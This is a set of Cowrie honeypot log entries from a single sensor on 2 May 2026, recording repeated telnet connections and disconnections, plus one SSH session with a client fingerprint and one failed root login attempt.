{"eventid":"cowrie.session.closed","duration":37.180057525634766,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:21.894752Z","src_ip":"62.210.97.77","session":"06367afeaba6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.85381579399109,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:22.522237Z","src_ip":"62.210.97.77","session":"559fb9e2951a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40428,"dst_ip":"10.17.0.5","dst_port":23,"session":"c25c818de5d4","protocol":"telnet","message":"New connection: 62.210.97.77:40428 (10.17.0.5:23) [session: c25c818de5d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:23.086068Z"}
{"eventid":"cowrie.session.closed","duration":39.38509392738342,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:24.065363Z","src_ip":"62.210.97.77","session":"ac4eba02e0a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40440,"dst_ip":"10.17.0.5","dst_port":23,"session":"4084c45068b2","protocol":"telnet","message":"New connection: 62.210.97.77:40440 (10.17.0.5:23) [session: 4084c45068b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:24.608764Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":34886,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed28bc7071e1","protocol":"telnet","message":"New connection: 165.232.131.181:34886 (10.17.0.5:23) [session: ed28bc7071e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:25.123518Z"}
{"eventid":"cowrie.session.closed","duration":35.65996861457825,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:25.404065Z","src_ip":"62.210.97.77","session":"ef5c0b807486","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":51590,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7c58d731caa","protocol":"telnet","message":"New connection: 134.209.8.29:51590 (159.203.135.109:23) [session: d7c58d731caa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:26.276566Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40442,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e1ef3640376","protocol":"telnet","message":"New connection: 62.210.97.77:40442 (10.17.0.5:23) [session: 6e1ef3640376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:27.890383Z"}
{"eventid":"cowrie.session.closed","duration":32.835580348968506,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:28.386532Z","src_ip":"62.210.97.77","session":"7ab20a852de3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":51600,"dst_ip":"159.203.135.109","dst_port":23,"session":"2cea69ea4fee","protocol":"telnet","message":"New connection: 134.209.8.29:51600 (159.203.135.109:23) [session: 2cea69ea4fee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:29.066005Z"}
{"eventid":"cowrie.session.closed","duration":34.83562231063843,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:30.263757Z","src_ip":"62.210.97.77","session":"fb581a81fb3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.94497346878052,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:30.349545Z","src_ip":"62.210.97.77","session":"2bb19dc9b912","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.56325602531433,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:30.855907Z","src_ip":"62.210.97.77","session":"b37f72138db4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.89611268043518,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:31.943106Z","src_ip":"62.210.97.77","session":"b4c1528d9b3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39040,"dst_ip":"10.17.0.5","dst_port":23,"session":"c39a3812a7ee","protocol":"telnet","message":"New connection: 62.210.97.77:39040 (10.17.0.5:23) [session: c39a3812a7ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:32.377496Z"}
{"eventid":"cowrie.session.closed","duration":39.03597021102905,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:32.565003Z","src_ip":"65.60.27.33","session":"d78142db3d18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":51606,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e660f6c1f6a","protocol":"telnet","message":"New connection: 134.209.8.29:51606 (159.203.135.109:23) [session: 1e660f6c1f6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:32.772528Z"}
{"eventid":"cowrie.session.closed","duration":42.525352478027344,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:32.868784Z","src_ip":"62.210.97.77","session":"8c4fc4f13ce1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.22338819503784,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:34.433857Z","src_ip":"62.210.97.77","session":"7cd554491e49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39046,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c19878448b2","protocol":"telnet","message":"New connection: 62.210.97.77:39046 (10.17.0.5:23) [session: 1c19878448b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:35.106288Z"}
{"eventid":"cowrie.session.closed","duration":44.52613925933838,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:35.935189Z","src_ip":"165.232.131.181","session":"a71a344fcd0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39054,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff4fd680ff93","protocol":"telnet","message":"New connection: 62.210.97.77:39054 (10.17.0.5:23) [session: ff4fd680ff93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:37.106635Z"}
{"eventid":"cowrie.session.closed","duration":36.68220829963684,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:37.552616Z","src_ip":"62.210.97.77","session":"7881346fab7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.639047384262085,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:37.655143Z","src_ip":"62.210.97.77","session":"e0014ee1136e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.00349950790405,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:38.387923Z","src_ip":"62.210.97.77","session":"dcddb5cc31c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60568,"dst_ip":"10.17.0.5","dst_port":23,"session":"76582ab117e1","protocol":"telnet","message":"New connection: 62.210.97.77:60568 (10.17.0.5:23) [session: 76582ab117e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:38.822679Z"}
{"eventid":"cowrie.session.closed","duration":39.536051750183105,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:39.530108Z","src_ip":"65.60.27.33","session":"fe7847fa356a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":53656,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e6a002c707c","protocol":"telnet","message":"New connection: 65.60.27.33:53656 (10.17.0.5:23) [session: 7e6a002c707c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:40.005016Z"}
{"eventid":"cowrie.session.closed","duration":35.074519872665405,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:40.340832Z","src_ip":"62.210.97.77","session":"018a37615c6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.61984372138977,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:41.849264Z","src_ip":"65.60.27.33","session":"6af2ca261adb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.923054933547974,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:43.151885Z","src_ip":"165.232.131.181","session":"ae0b17f65ad4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":42488,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7693a9688b0","protocol":"telnet","message":"New connection: 165.232.131.181:42488 (10.17.0.5:23) [session: b7693a9688b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:43.334895Z"}
{"eventid":"cowrie.session.closed","duration":36.148011684417725,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:44.397283Z","src_ip":"62.210.97.77","session":"784cbd826463","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.318657636642456,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:44.804105Z","src_ip":"165.232.131.181","session":"6b873a4ef708","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":43100,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fd9dad37f55","protocol":"telnet","message":"New connection: 165.232.131.181:43100 (10.17.0.5:23) [session: 6fd9dad37f55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:45.867435Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":42832,"dst_ip":"10.17.0.5","dst_port":23,"session":"3010cada09dd","protocol":"telnet","message":"New connection: 38.54.119.93:42832 (10.17.0.5:23) [session: 3010cada09dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:45.903339Z"}
{"eventid":"cowrie.session.closed","duration":53.74056434631348,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:46.159556Z","src_ip":"165.232.131.181","session":"903d4fa70c1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.1955978870391846,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:46.530348Z","src_ip":"165.232.131.181","session":"b7693a9688b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":45910,"dst_ip":"10.17.0.5","dst_port":23,"session":"48281aa93767","protocol":"telnet","message":"New connection: 38.54.119.93:45910 (10.17.0.5:23) [session: 48281aa93767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:48.152217Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":44318,"dst_ip":"10.17.0.5","dst_port":23,"session":"9be3fa4399d3","protocol":"telnet","message":"New connection: 165.232.131.181:44318 (10.17.0.5:23) [session: 9be3fa4399d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:49.019553Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":53898,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa4d2127f4a1","protocol":"telnet","message":"New connection: 62.210.97.77:53898 (10.17.0.5:23) [session: fa4d2127f4a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:49.376043Z"}
{"eventid":"cowrie.session.connect","src_ip":"156.232.13.218","src_port":50208,"dst_ip":"10.17.0.5","dst_port":22,"session":"26557ae6110b","protocol":"ssh","message":"New connection: 156.232.13.218:50208 (10.17.0.5:22) [session: 26557ae6110b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:51.337037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:51.340470Z","src_ip":"156.232.13.218","session":"26557ae6110b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.2145941257476807,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:51.366633Z","src_ip":"38.54.119.93","session":"48281aa93767","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:51.411048Z","src_ip":"156.232.13.218","session":"26557ae6110b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.719016790390015,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:51.665555Z","src_ip":"62.210.97.77","session":"7664da4bb842","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"test9999","message":"login attempt [root/test9999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:51.727769Z","src_ip":"156.232.13.218","session":"26557ae6110b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.968164920806885,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:51.836710Z","src_ip":"165.232.131.181","session":"9c1380f45fb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:52.806317Z","src_ip":"156.232.13.218","session":"26557ae6110b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.44319558143616,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:53.427556Z","src_ip":"65.60.27.33","session":"e37c70ae8a15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.96434235572815,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:54.360868Z","src_ip":"62.210.97.77","session":"2385da9a8c92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.636316537857056,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:56.089425Z","src_ip":"62.210.97.77","session":"947546f6c4b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.97370433807373,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:56.921706Z","src_ip":"65.60.27.33","session":"2afb54b743d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.64654994010925,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:56.927078Z","src_ip":"65.60.27.33","session":"05942ce4d12d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.71294069290161,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:58.798782Z","src_ip":"62.210.97.77","session":"c25c818de5d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.75884819030762,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:43:59.367486Z","src_ip":"62.210.97.77","session":"4084c45068b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58930,"dst_ip":"10.17.0.5","dst_port":23,"session":"358647a43a0d","protocol":"telnet","message":"New connection: 62.210.97.77:58930 (10.17.0.5:23) [session: 358647a43a0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:00.949525Z"}
{"eventid":"cowrie.session.closed","duration":41.573126554489136,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:01.161837Z","src_ip":"165.232.131.181","session":"7dc6715938ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58926,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d662a832355","protocol":"telnet","message":"New connection: 62.210.97.77:58926 (10.17.0.5:23) [session: 7d662a832355]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:01.167021Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58942,"dst_ip":"10.17.0.5","dst_port":23,"session":"542785323179","protocol":"telnet","message":"New connection: 62.210.97.77:58942 (10.17.0.5:23) [session: 542785323179]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:01.570502Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58954,"dst_ip":"10.17.0.5","dst_port":23,"session":"1afa26636c6c","protocol":"telnet","message":"New connection: 62.210.97.77:58954 (10.17.0.5:23) [session: 1afa26636c6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:02.225810Z"}
{"eventid":"cowrie.session.closed","duration":50.52220416069031,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:02.952554Z","src_ip":"134.209.8.29","session":"c5275765d628","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.97646403312683,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:04.866748Z","src_ip":"62.210.97.77","session":"6e1ef3640376","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.50384449958801,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:05.881229Z","src_ip":"62.210.97.77","session":"c39a3812a7ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":56284,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f111b693a57","protocol":"telnet","message":"New connection: 65.60.27.33:56284 (10.17.0.5:23) [session: 2f111b693a57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:07.853215Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":57408,"dst_ip":"10.17.0.5","dst_port":23,"session":"028673284566","protocol":"telnet","message":"New connection: 65.60.27.33:57408 (10.17.0.5:23) [session: 028673284566]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:08.866531Z"}
{"eventid":"cowrie.session.closed","duration":44.187549352645874,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:09.310955Z","src_ip":"165.232.131.181","session":"ed28bc7071e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51986,"dst_ip":"10.17.0.5","dst_port":23,"session":"8edbeb6b7d7d","protocol":"telnet","message":"New connection: 62.210.97.77:51986 (10.17.0.5:23) [session: 8edbeb6b7d7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:09.526968Z"}
{"eventid":"cowrie.session.closed","duration":33.26220154762268,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:10.368703Z","src_ip":"62.210.97.77","session":"ff4fd680ff93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.313725233078,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:10.419863Z","src_ip":"62.210.97.77","session":"1c19878448b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.92721605300903,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:13.749802Z","src_ip":"62.210.97.77","session":"76582ab117e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.16080117225647,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:15.226694Z","src_ip":"134.209.8.29","session":"2cea69ea4fee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.05785036087036,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:16.334304Z","src_ip":"134.209.8.29","session":"d7c58d731caa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43734,"dst_ip":"10.17.0.5","dst_port":23,"session":"43bf62ecbe50","protocol":"telnet","message":"New connection: 62.210.97.77:43734 (10.17.0.5:23) [session: 43bf62ecbe50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:18.910948Z"}
{"eventid":"cowrie.session.closed","duration":39.00395584106445,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:19.008878Z","src_ip":"65.60.27.33","session":"7e6a002c707c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":39824,"dst_ip":"159.203.135.109","dst_port":23,"session":"39f8fe32bda7","protocol":"telnet","message":"New connection: 134.209.8.29:39824 (159.203.135.109:23) [session: 39f8fe32bda7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:19.637433Z"}
{"eventid":"cowrie.session.closed","duration":30.945515155792236,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:20.321442Z","src_ip":"62.210.97.77","session":"fa4d2127f4a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43750,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8dcace6e391","protocol":"telnet","message":"New connection: 62.210.97.77:43750 (10.17.0.5:23) [session: a8dcace6e391]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:44:20.636814Z"}
